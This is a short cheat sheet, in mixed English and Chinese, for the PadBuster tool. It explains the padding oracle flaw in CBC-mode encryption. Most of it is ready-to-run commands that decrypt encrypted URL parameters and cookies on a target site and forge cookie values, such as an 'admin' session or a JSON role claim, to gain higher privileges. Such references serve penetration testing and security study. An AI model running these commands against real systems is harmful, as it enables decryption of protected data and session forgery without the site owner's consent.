PadBuster is an automated tool for Padding Oracle attacks. Core capabilities:Automatically decrypt CBC ciphertext + Forge valid ciphertext for arbitrary plaintext + Support multiple encodings。
Project address:https://github.com/AonCyberLabs/PadBuster
Vulnerability principle
The Padding Oracle vulnerability occurs in applications that use CBC mode block encryption (AES-CBC/DES-CBC). When the application returns different responses for padding errors and other errors, an attacker can recover plaintext byte by byte or construct arbitrary ciphertext.
Phase 1: Decryption mode
# 解密 URL 参数中的密文(Base64 编码,AES-128)
padbuster "http://target/api?token=ENCRYPTED_VALUE" "ENCRYPTED_VALUE" 16 -encoding 0
# 解密 Cookie 中的密文
padbuster "http://target/" "BASE64_CIPHER" 16 \
-cookies "auth=BASE64_CIPHER" -encoding 0
Hex-encoded ciphertext
padbuster "http://target/page?data=HEX_CIPHER" "HEX_CIPHER" 16 -encoding 1
DES-CBC (block size 8)padbuster "http://target/page?token=ENC" "ENC" 8 -encoding 0
## Phase 2: 加密模式(伪造密文)
```bash
# 伪造 Cookie 值(最危险的利用方式)
padbuster "http://target/" "BASE64_CIPHER" 16 \
-cookies "auth=BASE64_CIPHER" -encoding 0 \
-plaintext "admin"
# 伪造 JSON 内容
padbuster "http://target/" "BASE64_CIPHER" 16 \
-cookies "session=BASE64_CIPHER" -encoding 0 \
-plaintext '{"role":"admin","uid":1}'
Phase 3: Advanced options
# 自定义错误识别(当服务器不用 HTTP 状态码区分时)
padbuster "http://target/decrypt?data=ENC" "ENC" 16 \
-encoding 0 -error "Invalid padding"
# URL 前缀(密文在 URL 路径中)
padbuster "http://target/api/ENCRYPTED/action" "ENCRYPTED" 16 \
-encoding 0 -prefix "http://target/api/"
# 密文不含 IV
padbuster "http://target/?data=ENC" "ENC" 16 -encoding 0 -noiv
# 详细输出
padbuster "http://target/?data=ENC" "ENC" 16 -encoding 0 -veryverbose
# 恢复中断的攻击(已知 intermediate 值)
padbuster "http://target/?data=ENC" "ENC" 16 \
-encoding 0 -intermediate "KNOWN_INTERMEDIATE_HEX"
Encoding reference table
| Encoding value | Format | Description |
|---|---|---|
| 0 | Base64 | Most common |
| 1 | hex (lowercase) | a-f format |
| 2 | hex (uppercase) | A-F format |
| 3 | .NET UrlToken | ASP.NET-specific |
| 4 | WebSafe Base64 | URL-safe Base64 |